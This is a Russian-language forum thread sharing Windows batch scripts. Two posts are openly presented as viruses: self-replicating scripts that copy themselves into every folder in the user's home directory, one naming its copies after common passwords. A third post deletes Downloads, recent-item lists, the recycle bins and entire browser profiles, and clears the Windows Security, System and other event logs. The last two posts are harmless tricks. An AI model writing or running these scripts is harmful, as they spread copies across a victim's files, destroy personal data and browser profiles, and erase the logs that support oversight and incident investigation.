TORoRAM. Форум ни о чём

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » TORoRAM. Форум ни о чём » Windows » Занимательный bat-скриптинг


Занимательный bat-скриптинг

Сообщений 1 страница 5 из 5

1

Код:
@echo off 
rem This Virus create by (с)Key,2013
rem chuvsu.ru ivt-  31 - 10 
set a=%homedrive%%homepath%
FOR /D /R "%a%" %%X IN (*) DO COPY %0 "%%X" >nul


Этот интересный код  bat-вируса  мне предложил знакомый студент-хакер, пожелавший остаться неизвестным. Этот скрипт не выполняет никаких вредных действий помимо того, что создаёт много своих копий. При желании, представленный код может быть дополнен какими-нибудь дополнительными действиями.

2

@echo off

rem This Virus create by (с)Phucker,2014
rem chuvsu.ru

if %1.==1. goto m1

set a=%homedrive%%homepath%
FOR /D /R "%a%" %%X IN (*) DO @%0 1 "%%X"

exit /b

:m1

set /a i=%random%%%78

set n=game
if %i%==1 set n=qwerty
if %i%==2 set n=vkontakte
if %i%==3 set n=knopka
if %i%==4 set n=marina
if %i%==5 set n=password
if %i%==6 set n=nikita
if %i%==7 set n=natasha
if %i%==8 set n=nastya
if %i%==9 set n=andrey
if %i%==10 set n=genius
if %i%==11 set n=sergey
if %i%==12 set n=spartak
if %i%==13 set n=admin
if %i%==14 set n=azerty
if %i%==15 set n=loli
if %i%==16 set n=hello
if %i%==17 set n=saravn
if %i%==18 set n=tundra
if %i%==19 set n=cool
if %i%==20 set n=dragon
if %i%==21 set n=thomas
if %i%==22 set n=killer
if %i%==23 set n=root
if %i%==24 set n=pass
if %i%==25 set n=master
if %i%==26 set n=monkey
if %i%==27 set n=daniel
if %i%==28 set n=asdasd
if %i%==29 set n=changeme
if %i%==30 set n=computer
if %i%==31 set n=jessica
if %i%==32 set n=letmein
if %i%==33 set n=mirage
if %i%==34 set n=porn
if %i%==35 set n=loulou
if %i%==36 set n=superman
if %i%==37 set n=shadow
if %i%==38 set n=admin
if %i%==39 set n=secret
if %i%==40 set n=administrator
if %i%==41 set n=sophie
if %i%==42 set n=doudou
if %i%==43 set n=liverpool
if %i%==44 set n=hallo
if %i%==45 set n=sunshine
if %i%==46 set n=charlie
if %i%==47 set n=parola
if %i%==48 set n=michael
if %i%==49 set n=andrew
if %i%==50 set n=fuckyou
if %i%==51 set n=matrix
if %i%==52 set n=cjmasterinf
if %i%==53 set n=internet
if %i%==54 set n=eminem
if %i%==55 set n=demo
if %i%==56 set n=gewinner
if %i%==57 set n=pokemon
if %i%==58 set n=guest
if %i%==59 set n=ngockhoa
if %i%==60 set n=martin
if %i%==61 set n=sandra
if %i%==62 set n=sex
if %i%==63 set n=asdf
if %i%==64 set n=hejsan
if %i%==65 set n=george
if %i%==66 set n=qweqwe
if %i%==67 set n=lollipop
if %i%==68 set n=lovers
if %i%==69 set n=tecktonik
if %i%==70 set n=naruto
if %i%==71 set n=maximius
if %i%==72 set n=soccer
if %i%==73 set n=princess
if %i%==74 set n=slipknot
if %i%==75 set n=nokia
if %i%==76 set n=super
if %i%==77 set n=star

copy %0 %2\%n%. bat  >nul

3

rem Очиска папки temp
set a=%SystemDrive%
cd %a%
cd "%temp%"
del /f /s /q *.*
cd "%userprofile%\Local Settings\Temporary Internet Files"
del /f /s /q *.*

cd %homedrive%%homepath%\Local Settings\Temp
del /f /q *.*

RD "C:\Recycler\" /S /Q ::Для Windows XP или Server 2003 корзина
RD "C:\$RECYCLE.BIN\" /S /Q ::Windows 7, 8 или для Server 2008

rem удаление недавние места windows 8
set b=%homedrive%%homepath%
del /f /q %b%\AppData\Roaming\Microsoft\Windows\Recent\*.*

rem удаление недавние документы windows xp
cd %b%\Recent
del /f /q *.*

rem удаление загрузки windows 8
del /f /q %b%\Downloads\*.*   

rem удаление загрузки windows Xp
title 1
chcp 1251
cd %b%\"Мои документы"\Downloads
del /f /q *.*   

rem очистка логов
wmic nteventlog where filename="Application" call ClearEventlog
wmic nteventlog where filename="Security" call ClearEventlog
wmic nteventlog where filename="System" call ClearEventlog
wmic nteventlog where filename="Active Directory Web Services" call ClearEventlog
wmic nteventlog where filename="DFS Replication" call ClearEventlog
wmic nteventlog where filename="Directory Service" call ClearEventlog
wmic nteventlog where filename="DNS Server" call ClearEventlog

rem Очистка браузеров
rem Chrome
set ChromeDir8=C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data
del /q /s /f "%ChromeDir8%"
rd /s /q "%ChromeDir8%"
set ChromeDirxp=%homedrive%%homepath%\Local Settings\Application Data\Google\Chrome\User Data
del /q /s /f "%ChromeDirxp%"
rd /s /q "%ChromeDirxp%"

rem Opera
set DataDir=C:\Users\%USERNAME%\AppData\Local\Opera\Opera
set DataDir2=C:\Users\%USERNAME%\AppData\Roaming\Opera\Opera
set DataDir3=C:\Users\%USERNAME%\AppData\Roaming\Opera Software\Opera Stable
set DataDir4=C:\Users\%USERNAME%\AppData\Local\Opera Software\Opera Stable
set DataDir5=%homedrive%%homepath%\Application Data\Opera Software\Opera Stable
set DataDir6=%homedrive%%homepath%\Local Settings\Application Data\Opera Software\Opera Stable

del /q /s /f "%DataDir%"
rd /s /q "%DataDir%"
del /q /s /f "%DataDir2%"
rd /s /q "%DataDir2%"
del /q /s /f "%DataDir3%"
rd /s /q "%DataDir3%"
del /q /s /f "%DataDir4%"
rd /s /q "%DataDir4%"
del /q /s /f "%DataDir5%"
rd /s /q "%DataDir5%"
del /q /s /f "%DataDir6%"
rd /s /q "%DataDir6%"

rem IE
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 16
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 32
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 255

rem Firefox
set DataDir=C:\Users\%USERNAME%\AppData\Local\Mozilla\Firefox\Profiles
del /q /s /f "%DataDir%"
rd /s /q "%DataDir%"
for /d %%x in (C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\*) do del /q /s /f %%x\*sqlite

rem Safari
set DataDir=C:\Users\%USERNAME%\AppData\Local\Applec~1\Safari
set DataDir2=C:\Users\%USERNAME%\AppData\Roaming\Applec~1\Safari
del /q /s /f "%DataDir%\History"
rd /s /q "%DataDir%\History"
del /q /s /f "%DataDir%\Cache.db"
del /q /s /f "%DataDir%\WebpageIcons.db"
del /q /s /f "%DataDir2%"
rd /s /q "%DataDir2%"

4

Пример кроссплатформенного командного файла.

Содержимое файла start.bat

Код:
#!/bin/bash

goto metka

clear
echo Hello, Linux!
exit 0

:metka
@echo off
cls
echo Hello, Windows!
exit

5

Нужно чтобы батник сделал задержку на 5 сек

Код:
rem Задержка 5 секунд
ping -n 6 localhost>Nul


число должно быть равно задержке+1


Вы здесь » TORoRAM. Форум ни о чём » Windows » Занимательный bat-скриптинг